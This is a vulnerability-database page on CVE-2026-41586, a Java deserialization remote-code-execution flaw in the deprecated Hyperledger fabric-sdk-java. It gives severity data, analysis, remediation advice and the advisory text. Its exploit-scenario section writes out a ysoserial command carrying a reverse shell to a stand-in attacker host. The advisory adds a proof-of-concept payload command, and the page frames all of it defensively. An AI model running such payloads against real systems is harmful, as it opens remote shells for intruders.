Skip to main content

fabric-sdk-java EUVDEUVD-2026-28316

| CVE-2026-41586 CRITICAL
Deserialization of Untrusted Data (CWE-502)
2026-04-29 https://github.com/hyperledger/fabric GHSA-prf8-cf2x-rhx7
9.3
CVSS 4.0 · Vendor: https://github.com/hyperledger/fabric
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify deserialization endpoint
  2. Delivery
    Craft malicious serialized payload with ysoserial
  3. Exploit
    Inject payload via file upload or API
  4. Install
    Trigger Channel.deSerializeChannel()
  5. C2
    Execute gadget chain via ObjectInputStream.readObject()
  6. Execute
    Achieve arbitrary code execution
  7. Impact
    Establish persistence or exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application using fabric-sdk-java (versions 1.0.0-2.2.26) must deserialize Channel objects from attacker-controlled sources, specifically by calling Channel.deSerializeChannel(byte[] channelBytes) or triggering Channel.readObject() on attacker-supplied serialized data. This occurs when applications implement features accepting Channel configuration via file uploads, REST API parameters, message queue payloads, or any other external input mechanism where untrusted parties can inject serialized Java objects. Additionally, a Java deserialization gadget chain must exist in the application's classpath-common vulnerable libraries include Apache Commons Collections (versions prior to patched releases), Spring Framework, Apache Groovy, or other widely-used dependencies that provide gadget primitives exploitable by tools like ysoserial. Standard Hyperledger Fabric peer-to-peer protocol operations do NOT trigger this vulnerability since channel data is not transmitted via Java serialization between fabric-sdk-java clients and Fabric network peers; channel files are local client-side configuration. Limiting factors: exploitation is NOT possible through normal blockchain transaction flows or peer communication, only through application-specific features that deserialize Channel objects from untrusted sources. Organizations using fabric-sdk-java solely with administrator-controlled local channel configuration files and no external deserialization paths face substantially reduced practical risk despite the network attack vector in the CVSS score. Authentication requirements not specified in CVSS vector (all fields marked X), but the attack surface depends entirely on whether the application exposes Channel deserialization to unauthenticated or authenticated users based on its own access controls.

Impact

CVSS 4.0 score of 9.3 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates network-accessible, low-complexity exploitation requiring no privileges or user interaction. However, real-world exploitability depends heavily on application architecture-the attack surface exists only where applications deserialize Channel objects from untrusted sources (file uploads, external APIs, user-supplied parameters), not in standard peer-to-peer Fabric protocol flows. EPSS probability not available; not listed in CISA KEV, suggesting no confirmed widespread exploitation. Publicly available exploit code exists (ysoserial PoC provided in advisory), significantly lowering exploitation barrier for attackers with the required access vector. SSVC assessment: exploitation status is POC-available, automatable once access conditions are met, technical impact is total system compromise (arbitrary code execution). Critical risk factor: NO PATCH EXISTS for affected versions 1.0.0-2.2.26, and the product is officially deprecated with vendor recommendation to migrate rather than patch. Organizations still using fabric-sdk-java face a permanent vulnerability window until migration completes. The CVSS network vector may overstate practical risk-verification needed on whether typical Fabric client deployments actually expose Channel deserialization to remote untrusted sources or primarily handle local/trusted channel configuration. Prioritize based on whether your deployment accepts Channel serialization data from external parties; if not, effective risk may be substantially lower than CVSS suggests despite the Critical rating.

Exploit ScenarioDerived

An attacker identifies a Hyperledger Fabric blockchain application still using the deprecated fabric-sdk-java library that accepts Channel configuration uploads via a web API endpoint intended for administrators. The attacker uses the ysoserial tool to generate a malicious serialized Java object (CommonsCollections6 gadget chain) embedding a reverse shell payload: java -jar ysoserial.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > malicious_channel.ser. They upload this file through the API, which internally calls Channel.deSerializeChannel(uploadedBytes). When ObjectInputStream.readObject() processes the malicious payload without filtering, the gadget chain executes, establishing a reverse shell with the privileges of the Java application process (often the fabric-sdk-java client runs as a service account with blockchain network access). The attacker now has code execution in the organization's blockchain infrastructure, potentially able to exfiltrate private keys, manipulate transactions, or pivot to other systems.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 07, 2026

Remote code execution in Hyperledger fabric-sdk-java (all versions 1.0.0 through 2.2.26) allows unauthenticated attackers to execute arbitrary commands via malicious serialized Java objects. The deprecated SDK's Channel.java class deserializes untrusted byte arrays without input filtering in readObject() and deSerializeChannel() methods, enabling classic Java gadget chain exploitation. Publicly available exploit code exists (ysoserial toolkit), and exploitation requires only that an application accept Channel serialization data from attacker-controlled sources such as compromised files, external APIs, or injected parameters. EPSS data unavailable; not listed in CISA KEV. Vendor has published GHSA advisory but provides no patch-remediation requires migration to the replacement fabric-gateway SDK.

Earlier versions of this analysis (1)
v1 Apr 29, 2026 - 20:58

Remote code execution in Hyperledger fabric-sdk-java (all versions 1.0.0 through 2.2.26) allows attackers to execute arbitrary code when the client application deserializes untrusted Channel objects via the deSerializeChannel() method. The deprecated SDK lacks ObjectInputFilter protections in its readObject() implementation, enabling classic Java deserialization gadget chain attacks. A proof-of-concept using ysoserial's CommonsCollections6 payload demonstrates exploitation. No vendor patch is planned as the SDK is deprecated since Fabric v2.5, but organizations that have not migrated to fabric-gateway remain vulnerable. Exploitation requires attacker-controlled input to deSerializeChannel(), typically via compromised channel files or applications accepting Channel bytes from untrusted sources.

RemediationAI

Migrate to the replacement org.hyperledger.fabric:fabric-gateway SDK, which does not use Java serialization and is the vendor's official remediation path (migration guide at https://hyperledger.github.io/fabric-gateway/). No patch will be released for fabric-sdk-java versions 1.0.0-2.2.26 as the product is deprecated. For organizations unable to migrate immediately, implement compensating controls with significant trade-offs: (1) Add ObjectInputFilter to Channel deserialization code per advisory example to whitelist only org.hyperledger.fabric.sdk.*, java.util.*, java.lang.* classes-this requires source code modification and may break functionality if legitimate Channel serialization uses other classes; test thoroughly. (2) Eliminate all code paths where Channel.deSerializeChannel() or Channel deserialization processes data from untrusted sources-block file uploads of .ser files, remove API endpoints accepting serialized Channel bytes, restrict Channel loading to administrator-controlled local files only-this may require application architecture changes. (3) Deploy Java Security Manager policies to restrict Runtime.exec() and file system access from the JVM running fabric-sdk-java code-complex configuration with high risk of breaking legitimate functionality. (4) Network segmentation to isolate applications using fabric-sdk-java from untrusted networks-reduces remote attack surface but does not prevent exploitation via local file compromise or insider threats. All compensating controls are stopgaps; prioritize migration to fabric-gateway as the only complete fix.

Affected VersionsENISA

fabric 1.0.0, ≤ 2.2.26

Affected Packages

maven org.hyperledger.fabric-sdk-java:fabric-sdk-java no fix
euvd fabric_1_0_0 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the deprecated fabric-sdk-java Maven package (org.hyperledger.fabric-sdk-java:fabric-sdk-java), specifically the Channel.java class in the Hyperledger Fabric client SDK for Java applications. The flaw is CWE-502 (Deserialization of Untrusted Data)-a well-known dangerous pattern in Java where ObjectInputStream.readObject() processes arbitrary byte streams without an ObjectInputFilter to whitelist permitted classes. Java deserialization attacks exploit gadget chains: sequences of existing classes in the application's classpath (often from common libraries like Apache Commons Collections) that can be chained together through serialized object graphs to achieve arbitrary code execution when readObject() reconstitutes the object hierarchy. The fabric-sdk-java library was used by blockchain applications to interact with Hyperledger Fabric networks but has been deprecated since Fabric v2.5 in favor of fabric-gateway, which uses protocol buffers instead of Java serialization. The vulnerable methods are private void readObject(ObjectInputStream in) and public Channel deSerializeChannel(byte[] channelBytes), both of which call ObjectInputStream.readObject() on potentially attacker-controlled data without input validation.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/hyperledger/fabric) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/hyperledger/fabric) · only source for this CVE.

CVSS VectorVendor: https://github.com/hyperledger/fabric

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
May 07, 2026 - 06:43 vuln.today
v2 - CVSS changed
CVSS changed
May 07, 2026 - 06:35 NVD
9.3 (CRITICAL)
CVE Published
Apr 29, 2026 - 20:41 nvd
CRITICAL

DescriptionCVE.org

Summary

This advisory covers the deprecated fabric-sdk-java client SDK. Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is the classic Java deserialization RCE pattern.

Note: fabric-sdk-java is deprecated and maintained in https://github.com/hyperledger/fabric-sdk-java. Filing here as that repo does not have private vulnerability reporting enabled.

Affected Code

java
// src/main/java/org/hyperledger/fabric/sdk/Channel.java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();  // No ObjectInputFilter configured
}

public Channel deSerializeChannel(byte[] channelBytes)
        throws IOException, ClassNotFoundException, InvalidArgumentException {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(channelBytes));
    Channel channel = (Channel) ois.readObject();  // Untrusted bytes deserialized
    return channel;
}

Attack Vector

An attacker who can supply crafted serialized Channel bytes to the client application - for example, by compromising a local channel file, injecting data through an application that accepts Channel bytes from external sources, or exploiting a separate write primitive - can achieve RCE via gadget chain exploitation when deSerializeChannel() processes those bytes. The risk is highest in deployments that accept Channel data from sources outside the client's direct control. Note: channel data is not transmitted from Fabric peers; this is a client-side deserialization surface.

Proof of Concept

java
// Generate malicious payload with ysoserial:
// java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > malicious_channel.ser

// Victim code:
byte[] maliciousBytes = Files.readAllBytes(Paths.get("malicious_channel.ser"));
Channel channel = client.deSerializeChannel(maliciousBytes);  // RCE fires here

Notes on Deprecation

fabric-sdk-java is deprecated as of Hyperledger Fabric v2.5 (replaced by org.hyperledger.fabric:fabric-gateway). However, organizations that have not yet migrated remain fully exposed. Automated dependency scanners (Snyk, Dependabot) cannot alert users without a published GHSA. This advisory is filed to ensure those users are notified and directed to migrate.

Fix

For the deprecated SDK: add ObjectInputFilter to whitelist only expected classes:

java
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "org.hyperledger.fabric.sdk.*;java.util.*;java.lang.*;!*"
);
ois.setObjectInputFilter(filter);

The recommended remediation is migration to org.hyperledger.fabric:fabric-gateway, which does not use Java serialization.

Resources

  • CWE-502: Deserialization of Untrusted Data
  • Migration guide: https://hyperledger.github.io/fabric-gateway/

Credits

Found via independent security research.

Executive ViewAI

Why It Matters

Hyperledger fabric-sdk-java versions 1.0.0 through 2.2.26 contain a critical remote code execution vulnerability in Channel deserialization that allows unauthenticated attackers to execute arbitrary commands through malicious serialized objects. Organizations using this deprecated SDK in production environments face immediate risk of complete system compromise if applications accept Channel serialization data from external or untrusted sources. This vulnerability requires urgent assessment and migration planning, as the vendor provides no patch and directs users to replace the SDK entirely with fabric-gateway.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict applications to accept Channel serialization only from trusted, signed sources; implement Java deserialization filters (e.g., JEP 290 or NotSoSerial library) to block gadget chain classes; isolate affected systems from untrusted network inputs; consider network segmentation to limit attacker reach. These mitigations reduce but do not eliminate risk; migration to fabric-gateway SDK is the definitive remediation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy